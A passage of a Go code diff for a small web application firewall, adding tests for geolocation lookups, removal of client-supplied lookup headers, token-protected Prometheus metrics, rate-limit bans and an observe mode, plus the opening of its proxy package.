+	server.GeoJS.Load([]lookup.Answer{{
+		Client: netblock, ASN: asnDE, ASName: asNameDE, Country: "DE",
+		Answered: clk.Now(), Used: clk.Now(),
+	}})
+
+	want := asnAndCountry{asnDE, asNameDE, "DE"}
+
+	for _, line := range []logLine{
+		s.get(fromDE, http.StatusOK, requestlog.ActionForward),
+		s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited),
+	} {
+		if got := (asnAndCountry{line.ASN, line.ASName, line.Country}); got != want {
+			t.Errorf("log line has %+v, want %+v", got, want)
+		}
+	}
+
+	h := historyOf(t, server, fromDE)
+	if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want ||
+		!h.LookedUp.Equal(clk.Now()) {
+		t.Errorf("history has %+v, looked up at %s; want %+v, at %s",
+			got, h.LookedUp, want, clk.Now())
+	}
+
+	notes := server.Ledger.Bans(netblock)[0].Notes
+	if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != want {
+		t.Errorf("the ban's notes have %+v, want %+v", got, want)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 1 {
+		t.Fatalf("alerts waiting %+v, want the ban's alone", waiting)
+	}
+
+	alert := waiting[0]
+	if got := (asnAndCountry{alert.ASN, alert.ASName, alert.Country}); got != want {
+		t.Errorf("the ban's alert has %+v, want %+v", got, want)
+	}
+}
+
+func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, asked := startGeoJS(t)
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
+
+	// Even an answer kept from before is not used.
+	server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
+		Country: "DE", Answered: clk.Now(), Used: clk.Now(),
+	}})
+
+	for _, from := range []string{fromDE, fromKP} {
+		line := s.get(from, http.StatusOK, requestlog.ActionForward)
+
+		got := asnAndCountry{line.ASN, line.ASName, line.Country}
+		if got != (asnAndCountry{}) {
+			t.Errorf("log line has %+v, want nothing", got)
+		}
+	}
+
+	if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
+		t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
+	}
+
+	if len(asked()) != 0 {
+		t.Errorf("GeoJS was asked about %v, want nothing", asked())
+	}
+}
+
+func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, asked := startGeoJS(t)
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+		fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"},
+	})
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		lookupSource:       fileSource,
+		lookupDBPath:       path,
+		allowedCountries:   "DE",
+		rateLimitPerMinute: "1",
+	})
+
+	// fromDE's second request breaks the limit and bans it. The list
+	// refuses fromKP, and unplaced, which the file does not hold.
+	de := asnAndCountry{asnDE, asNameDE, "DE"}
+
+	for _, tc := range []struct {
+		line logLine
+		want asnAndCountry
+	}{
+		{s.get(fromDE, http.StatusOK, requestlog.ActionForward), de},
+		{s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited), de},
+		{
+			s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
+			asnAndCountry{asnKP, asNameKP, "KP"},
+		},
+		{
+			s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied),
+			asnAndCountry{},
+		},
+	} {
+		got := asnAndCountry{tc.line.ASN, tc.line.ASName, tc.line.Country}
+		if got != tc.want {
+			t.Errorf("log line has %+v, want %+v", got, tc.want)
+		}
+	}
+
+	h := historyOf(t, server, fromDE)
+	if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != de ||
+		!h.LookedUp.Equal(clk.Now()) {
+		t.Errorf("history has %+v, looked up at %s; want %+v, at %s",
+			got, h.LookedUp, de, clk.Now())
+	}
+
+	notes := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))[0].Notes
+	if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de {
+		t.Errorf("the ban's notes have %+v, want %+v", got, de)
+	}
+
+	if len(asked()) != 0 {
+		t.Errorf("GeoJS was asked about %v, want nothing", asked())
+	}
+}
+
+func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
+	t.Parallel()
+
+	var (
+		mu  sync.Mutex
+		got [][2][]string // each request's X-Client-ASN and X-Client-Country
+	)
+
+	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
+		mu.Lock()
+		defer mu.Unlock()
+
+		got = append(got, [2][]string{
+			r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
+		})
+	})
+	geojsURL, _ := startGeoJS(t)
+	addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
+		trustedProxies:   trustLocalhost,
+		lookupTimeout:    "1h",
+		addLookupHeaders: on,
+	})
+	s := &sender{t: t, addr: addr, out: out}
+
+	// Each client sends headers of its own. fromDE's first request waits
+	// for its answer, which the app is passed; unplaced has none to pass,
+	// and a client on a private address is not looked up.
+	for _, from := range []string{fromDE, unplaced, "10.0.0.8"} {
+		s.requestWithHeader(from, "/", clientsOwnLookupHeaders,
+			http.StatusOK, requestlog.ActionForward)
+	}
+
+	mu.Lock()
+	defer mu.Unlock()
+
+	want := [][2][]string{{{asnDE}, {"DE"}}, {nil, nil}, {nil, nil}}
+	if !slices.EqualFunc(got, want, func(a, b [2][]string) bool {
+		return slices.Equal(a[0], b[0]) && slices.Equal(a[1], b[1])
+	}) {
+		t.Errorf("the app was passed %v, want %v", got, want)
+	}
+}
+
+func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
+	t.Parallel()
+
+	var (
+		mu           sync.Mutex
+		asn, country []string
+	)
+
+	app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
+		mu.Lock()
+		defer mu.Unlock()
+
+		asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
+	})
+	geojsURL, _ := startGeoJS(t)
+	addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
+		trustedProxies: trustLocalhost,
+	})
+	s := &sender{t: t, addr: addr, out: out}
+
+	s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
+		http.StatusOK, requestlog.ActionForward)
+
+	mu.Lock()
+	defer mu.Unlock()
+
+	if asn != nil || country != nil {
+		t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
+			asn, country)
+	}
+}
+
+func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
+	t.Parallel()
+
+	// The test runs in a synctest bubble, where the time package runs on a
+	// clock of the test's own: the wait lasts exactly as long as it should,
+	// however slowly the test process runs. Nothing in it may wait on the
+	// network, which would keep that clock from moving on: the request is
+	// handed to the proxy's handler, and GeoJS is one that never answers.
+	synctest.Test(t, func(t *testing.T) {
+		// Not the default. The exclusive list needs the answer, and the app
+		// is never reached.
+		const timeout = 3 * time.Second
+
+		server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
+			map[string]string{
+				lookupTimeout:    timeout.String(),
+				allowedCountries: "DE",
+			})
+
+		began := time.Now()
+
+		serveFromDE(t, server, http.MethodGet, http.NoBody)
+
+		if waited := time.Since(began); waited != timeout {
+			t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
+		}
+
+		// Without an answer, the client is in no country the list allows.
+		wantLine(t, out.requestLine(t), http.StatusForbidden,
+			requestlog.ActionCountryDenied)
+	})
+}
+
+// unansweredGeoJSURL is where a GeoJS that never answers is asked: a
+// request to it waits, without the network, until it is abandoned.
+// TestMain registers it with Go's default transport, through which GeoJS
+// is asked.
+const unansweredGeoJSURL = "unanswered://geojs/v1/ip/geo.json"
+
+func TestMain(m *testing.M) {
+	transport, _ := http.DefaultTransport.(*http.Transport)
+	transport.RegisterProtocol("unanswered", unansweredGeoJS{})
+	transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{})
+
+	m.Run()
+}
+
+// unansweredGeoJS is the GeoJS at unansweredGeoJSURL.
+type unansweredGeoJS struct{}
+
+// RoundTrip waits until req is abandoned.
+func (unansweredGeoJS) RoundTrip(req *http.Request) (*http.Response, error) {
+	<-req.Context().Done()
+
+	return nil, req.Context().Err()
+}
+
+// clientsOwnLookupHeaders are the X-Client-ASN and X-Client-Country a
+// client sends of its own, each twice, in two cases.
+const clientsOwnLookupHeaders = "X-Client-ASN: AS1\r\nx-client-asn: AS2\r\n" +
+	"X-CLIENT-COUNTRY: KP\r\nx-client-country: CN"
+
+// waitUntil waits until done reports true, for at most waitLimit.
+func waitUntil(done func() bool) {
+	deadline := time.Now().Add(waitLimit)
+	for !done() && time.Now().Before(deadline) {
+		time.Sleep(pollInterval)
+	}
+}

internal/proxy/metrics_test.go

@@ -0,0 +1,431 @@
+package proxy_test
+
+import (
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+const (
+	metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name
+	metricsTopN  = "SWWAF_METRICS_TOP_N"
+	// token is the SWWAF_METRICS_TOKEN the tests set, and bearer how a
+	// request carries it.
+	token  = "0123456789abcdef0123456789abcdef"
+	bearer = "Bearer " + token
+)
+
+func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", nil)
+
+	// An empty token does not match the unset one either.
+	for _, authorization := range []string{bearer, "Bearer ", ""} {
+		s.adminRequest(authorization, http.MethodGet, proxy.MetricsPath, "",
+			http.StatusNotFound)
+	}
+}
+
+func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{metricsToken: token})
+
+	for _, tc := range []struct {
+		method, path, authorization string
+		status                      int
+	}{
+		{http.MethodGet, proxy.MetricsPath, "", http.StatusUnauthorized},
+		{
+			http.MethodGet, proxy.MetricsPath, "Bearer " + strings.ToUpper(token),
+			http.StatusUnauthorized,
+		},
+		{http.MethodGet, proxy.MetricsPath, "Basic " + token, http.StatusUnauthorized},
+		{http.MethodGet, proxy.MetricsPath, bearer, http.StatusOK},
+		{http.MethodGet, proxy.MetricsPath, "bearer " + token, http.StatusOK},
+		{http.MethodPost, proxy.MetricsPath, bearer, http.StatusNotFound},
+		{http.MethodGet, proxy.MetricsPath + "/", bearer, http.StatusNotFound},
+		{http.MethodGet, "/_smallwebwaf/bans", bearer, http.StatusNotFound},
+		{http.MethodPost, proxy.HealthPath, "", http.StatusNotFound},
+	} {
+		got := s.adminRequest(tc.authorization, tc.method, tc.path, "", tc.status)
+
+		if tc.status == http.StatusUnauthorized &&
+			got.header.Get("WWW-Authenticate") != "Bearer" {
+			t.Errorf("%q was answered without WWW-Authenticate: Bearer",
+				tc.authorization)
+		}
+
+		if tc.status == http.StatusOK &&
+			!strings.Contains(string(got.body), "# TYPE smallwebwaf_requests_total counter") {
+			t.Errorf("the metrics are\n%s", got.body)
+		}
+	}
+}
+
+func TestMetricsCountTheTraffic(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		_, _ = io.Copy(io.Discard, r.Body)
+		_, _ = io.WriteString(w, "hello")
+	})
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
+		map[string]string{metricsToken: token})
+
+	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
+	wantStatus(t, got, http.StatusOK)
+	wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
+	out.endedLines(t, 2)
+
+	forward := `{action="forward",instance="app",status_class="2xx"}`
+	notFound := `{action="admin",instance="app",status_class="4xx"}`
+
+	// The request for the metrics is itself under way.
+	metrics := scrape(t, server.Addr)
+	wantMetric(t, metrics, "smallwebwaf_requests_total"+forward, 1)
+	wantMetric(t, metrics, "smallwebwaf_requests_total"+notFound, 1)
+	wantMetric(t, metrics, "smallwebwaf_request_bytes_total"+forward, 3)
+	wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+forward, 5)
+	wantMetric(t, metrics, "smallwebwaf_response_bytes_total"+notFound,
+		float64(len("Not Found\n")))
+	wantMetric(t, metrics,
+		`smallwebwaf_request_duration_seconds_count{instance="app"}`, 2)
+	wantMetric(t, metrics,
+		`smallwebwaf_upstream_duration_seconds_count{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_requests_in_flight{instance="app"}`, 1)
+	metric(t, metrics, `go_goroutines{instance="app"}`)
+	metric(t, metrics, `process_start_time_seconds{instance="app"}`)
+}
+
+func TestMetricsCountLimitsAndBans(t *testing.T) {
+	t.Parallel()
+
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		metricsToken:       token,
+		rateLimitPerMinute: "1",
+		denyNets:           denied,
+		banResponse:        banResponseClose,
+		limitBanDuration:   "1h",
+		maxBanDuration:     "2h",
+	})
+
+	// SWWAF_BAN_RESPONSE=close sends no status at all.
+	s.get(denied, 0, requestlog.ActionDenied)
+
+	// A first broken limit bans for an hour.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, 0, requestlog.ActionRateLimited)
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_requests_total{action="denied",instance="app",status_class="none"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
+		`kind="requests",window="minute"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 0)
+
+	clk.advance(time.Hour)
+	wantMetric(t, s.scrape(), `smallwebwaf_active_bans{instance="app"}`, 0)
+
+	// A limit broken again right after would ban for three hours, longer
+	// than SWWAF_MAX_BAN_DURATION, so the ban is permanent.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, 0, requestlog.ActionRateLimited)
+
+	metrics = s.scrape()
+	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
+		`kind="requests",window="minute"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
+	// denied and client.
+	wantMetric(t, metrics, `smallwebwaf_tracked_clients{instance="app"}`, 2)
+}
+
+func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		metricsToken: token,
+		adminToken:   adminSecret,
+	})
+
+	const admins = `smallwebwaf_bans_made_total{cause="admin",instance="app"}`
+
+	wantMetric(t, s.scrape(), admins, 0)
+
+	// As an admin's edit of bans.json that adds a ban is taken in.
+	server.Ledger.LoadEdit([]bans.Ban{{
+		Netblock: netip.MustParsePrefix(client + "/32"),
+		Start:    clk.Now(),
+	}})
+
+	wantMetric(t, s.scrape(), admins, 1)
+
+	// And a ban made through the endpoint.
+	s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK)
+	wantMetric(t, s.scrape(), admins, 2)
+}
+
+func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
+	t.Parallel()
+
+	const fromFR = "198.51.100.20"
+
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		_, _ = io.Copy(io.Discard, r.Body)
+		_, _ = io.WriteString(w, "hello")
+	})
+	env := map[string]string{
+		trustedProxies:  trustLocalhost,
+		metricsToken:    token,
+		metricsTopN:     "2",
+		deniedCountries: "kp",
+	}
+	geojsURL, _ := startGeoJS(t)
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
+
+	// The answers are kept before the requests, so that none waits for
+	// GeoJS.
+	server.GeoJS.Load([]lookup.Answer{
+		keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
+	})
+
+	lines := 0
+	send := func(from string, times, status int) {
+		t.Helper()
+
+		for range times {
+			req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
+			req.Header.Set(forwardedFor, from)
+			wantStatus(t, do(t, req), status)
+
+			// Each is counted before the next is sent, so that the
+			// countries are ranked in the order sent.
+			lines++
+			out.endedLines(t, lines)
+		}
+	}
+
+	// With two countries of their own, the third is counted as other.
+	send(fromKP, 3, http.StatusForbidden)
+	send(fromDE, 2, http.StatusOK)
+	send(fromFR, 1, http.StatusOK)
+
+	metrics := scrape(t, server.Addr)
+	lines++
+
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="DE",instance="app"}`, 2)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="other",instance="app"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_list_refusals_total{country="KP",instance="app"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_request_bytes_total{country="KP",instance="app"}`, 0)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`, 6)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_response_bytes_total{country="KP",instance="app"}`,
+		float64(3*len("Forbidden\n")))
+	wantMetric(t, metrics,
+		`smallwebwaf_country_response_bytes_total{country="other",instance="app"}`,
+		float64(len("hello")))
+	wantNoSeries(t, metrics,
+		`smallwebwaf_country_requests_total{country="FR",instance="app"}`)
+
+	// Once FR is busier than DE, it takes DE's place: its series counts
+	// from then on, and DE's is gone.
+	send(fromFR, 3, http.StatusOK)
+
+	metrics = scrape(t, server.Addr)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="KP",instance="app"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="FR",instance="app"}`, 2)
+	wantMetric(t, metrics,
+		`smallwebwaf_country_requests_total{country="other",instance="app"}`, 2)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_country_requests_total{country="DE",instance="app"}`)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_country_request_bytes_total{country="DE",instance="app"}`)
+}
+
+func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		metricsToken: token,
+		metricsTopN:  "1",
+	})
+
+	// The answers are kept before the requests, so that GeoJS gives none
+	// of its own. Each client is in an AS of its own.
+	answer := func(addr, asn string) lookup.Answer {
+		return lookup.Answer{
+			Client: netip.MustParsePrefix(addr + "/32"), ASN: asn,
+			Answered: clk.Now(), Used: clk.Now(),
+		}
+	}
+	server.GeoJS.Load([]lookup.Answer{
+		answer(fromDE, "AS64501"), answer(fromKP, "AS64502"),
+	})
+
+	// With one AS number of its own, the other is counted as other.
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromKP, http.StatusOK, requestlog.ActionForward)
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_asn_requests_total{asn="AS64501",instance="app"}`, 2)
+	wantMetric(t, metrics,
+		`smallwebwaf_asn_requests_total{asn="other",instance="app"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0)
+	wantMetric(t, metrics,
+		`smallwebwaf_asn_response_bytes_total{asn="other",instance="app"}`, 0)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_asn_requests_total{asn="AS64502",instance="app"}`)
+}
+
+func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
+	t.Parallel()
+
+	geojs := httptest.NewServer(http.HandlerFunc(
+		func(w http.ResponseWriter, _ *http.Request) {
+			w.WriteHeader(http.StatusServiceUnavailable)
+		}))
+	t.Cleanup(geojs.Close)
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, _, server := startProxyWithClock(t, app.URL, geojs.URL, time.Now,
+		map[string]string{
+			trustedProxies:  trustLocalhost,
+			metricsToken:    token,
+			deniedCountries: "kp",
+		})
+
+	// GeoJS fails, so the client counts as coming from an unknown country,
+	// which SWWAF_DENIED_COUNTRIES does not refuse.
+	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+	req.Header.Set(forwardedFor, fromDE)
+	wantStatus(t, do(t, req), http.StatusOK)
+
+	// The client stops waiting for GeoJS once SWWAF_LOOKUP_TIMEOUT is up, so
+	// GeoJS's failure can come after its request has ended.
+	deadline := time.Now().Add(waitLimit)
+	metrics := scrape(t, server.Addr)
+
+	for metric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`) == 0 &&
+		time.Now().Before(deadline) {
+		time.Sleep(pollInterval)
+
+		metrics = scrape(t, server.Addr)
+	}
+
+	wantMetric(t, metrics, `smallwebwaf_geojs_requests_total{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_geojs_failures_total{instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_geojs_unanswered_total{instance="app"}`, 1)
+}
+
+// keptAnswer returns GeoJS's answer that the client at addr is in
+// country, given now.
+func keptAnswer(addr, country string) lookup.Answer {
+	now := time.Now()
+
+	return lookup.Answer{
+		Client: netip.MustParsePrefix(addr + "/32"), Country: country,
+		Answered: now, Used: now,
+	}
+}
+
+// scrape asks servewaf at addr for the metrics, with the token, and returns
+// them.
+func scrape(t *testing.T, addr string) string {
+	t.Helper()
+
+	req := newRequest(t, http.MethodGet, addr, proxy.MetricsPath, http.NoBody)
+	req.Header.Set("Authorization", bearer)
+
+	got := do(t, req)
+	if got.status != http.StatusOK {
+		t.Fatalf("the metrics were answered %d", got.status)
+	}
+
+	return string(got.body)
+}
+
+// scrape asks for the metrics, with the token, and returns them.
+func (s *sender) scrape() string {
+	s.t.Helper()
+
+	return string(s.adminRequest(bearer, http.MethodGet, proxy.MetricsPath, "",
+		http.StatusOK).body)
+}
+
+// metric returns the value of series in metrics, which are in the
+// Prometheus text format. series is a name and its labels in the order of
+// their names, such as
+// smallwebwaf_offences_total{instance="app",kind="limit"}. It fails the
+// test if there is no such series.
+func metric(t *testing.T, metrics, series string) float64 {
+	t.Helper()
+
+	for line := range strings.Lines(metrics) {
+		value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
+		if !found {
+			continue
+		}
+
+		number, err := strconv.ParseFloat(value, 64)
+		if err != nil {
+			t.Fatalf("%s has the value %q", series, value)
+		}
+
+		return number
+	}
+
+	t.Fatalf("no series %s in the metrics:\n%s", series, metrics)
+
+	return 0
+}
+
+// wantMetric checks the value of series in metrics, as metric reads it.
+func wantMetric(t *testing.T, metrics, series string, want float64) {
+	t.Helper()
+
+	got := metric(t, metrics, series)
+	if got != want {
+		t.Errorf("%s is %v, want %v", series, got, want)
+	}
+}
+
+// wantNoSeries checks that metrics have no series series.
+func wantNoSeries(t *testing.T, metrics, series string) {
+	t.Helper()
+
+	if strings.Contains(metrics, "\n"+series+" ") {
+		t.Errorf("there is a series %s", series)
+	}
+}

internal/proxy/observe_test.go

@@ -0,0 +1,140 @@
+package proxy_test
+
+import (
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// observe is the value of SWWAF_MODE for observe mode.
+const observe = "observe"
+
+func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
+	t.Parallel()
+
+	const (
+		denied = "192.0.2.50" // in SWWAF_DENY_NETS
+		banned = otherClient  // under a ban read from bans.json
+	)
+
+	for _, tc := range []struct {
+		setting string // "" leaves SWWAF_MODE at its default
+		observe bool
+	}{
+		{"", false},
+		{"enforce", false},
+		{observe, true},
+	} {
+		t.Run(mode+"="+tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			geojsURL, _ := startGeoJS(t)
+			env := map[string]string{
+				lookupTimeout:      "1h",
+				rateLimitPerMinute: "1",
+				denyNets:           denied,
+				deniedCountries:    "kp",
+			}
+
+			if tc.setting != "" {
+				env[mode] = tc.setting
+			}
+
+			s, clk, server := startWithClock(t, geojsURL, env)
+			server.Ledger.Load([]bans.Ban{{
+				Netblock: netip.MustParsePrefix(banned + "/32"),
+				Start:    clk.Now(),
+				Expires:  clk.Now().Add(time.Hour),
+			}})
+
+			// fromDE's first request is within the limit of one a minute,
+			// and its second breaks it.
+			s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+
+			for _, sent := range []struct{ from, refusal string }{
+				{denied, requestlog.ActionDenied},
+				{banned, requestlog.ActionBanned},
+				{fromKP, requestlog.ActionCountryDenied},
+				{fromDE, requestlog.ActionRateLimited},
+			} {
+				if !tc.observe {
+					line := s.get(sent.from, http.StatusForbidden, sent.refusal)
+					wantWouldAction(t, line, "")
+
+					continue
+				}
+
+				// Passed to the app, which answered it.
+				line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
+				wantWouldAction(t, line, sent.refusal)
+			}
+		})
+	}
+}
+
+func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		mode:               observe,
+		rateLimitPerMinute: "1",
+	})
+	kept := bans.Ban{
+		Netblock: netip.MustParsePrefix(otherClient + "/32"),
+		Start:    clk.Now(),
+		Expires:  clk.Now().Add(time.Hour),
+		Cause:    bans.CauseAdmin,
+	}
+	server.Ledger.Load([]bans.Ban{kept})
+
+	// No ban sets client's counters back to zero, so each request after
+	// the first breaks the limit of one a minute.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	for range 2 {
+		line := s.get(client, http.StatusOK, requestlog.ActionForward)
+		wantWouldAction(t, line, requestlog.ActionRateLimited)
+
+		if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
+			line.BanExpires != "" {
+			t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+				"want minute, limit and none", line.LimitHit, line.Offence,
+				line.BanExpires)
+		}
+	}
+
+	// The ban read from bans.json refuses nothing, and so counts no
+	// refusal in its notes, but is kept.
+	line := s.get(otherClient, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+
+	if line.BanExpires != requestlog.FormatTime(kept.Expires) {
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires,
+			requestlog.FormatTime(kept.Expires))
+	}
+
+	got := server.Ledger.Snapshot()
+	if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
+		t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
+	}
+}
+
+// wantWouldAction checks the request log line's would_action, and that a
+// line that should have none has no such field.
+func wantWouldAction(t *testing.T, line logLine, want string) {
+	t.Helper()
+
+	got, present := line.fields["would_action"]
+
+	switch {
+	case want == "" && present:
+		t.Errorf("log line has would_action %v, want none", got)
+	case want != "" && got != want:
+		t.Errorf("log line has would_action %v, want %s", got, want)
+	}
+}

internal/proxy/proxy.go

@@ -0,0 +1,255 @@
+// Package proxy is servewaf's server. It runs the checks on the request each of
+// rproxy's questions carries, and answers rproxy what to do with that request. It
+// takes rproxy's report once the visitor's answer has ended, which counts the
+// request's bytes and writes its last log line. It answers servewaf's own
+// endpoints: the health check, the metrics, the bans and the clients. It passes
+// nothing to an app: internal/rproxy does that.
+package proxy
+
+import (
+	"io"
+	"log/slog"
+	"net/http"
+	"time"
+
+	lru "github.com/hashicorp/golang-lru/v2"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/metrics"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// adminPrefix starts the path of each of servewaf's own endpoints. The app never
+// sees a path under it.
+const adminPrefix = "/_smallwebwaf/"
+
+// HealthPath is the health endpoint of servewaf and of rproxy, which the
+// container's health check asks.
+const HealthPath = "/_smallwebwaf/healthz"
+
+// MetricsPath is where the metrics are, for a request that carries
+// SWWAF_METRICS_TOKEN.
+const MetricsPath = "/_smallwebwaf/metrics"
+
+// BansPath is where an admin lists and adds bans, and, followed by / and
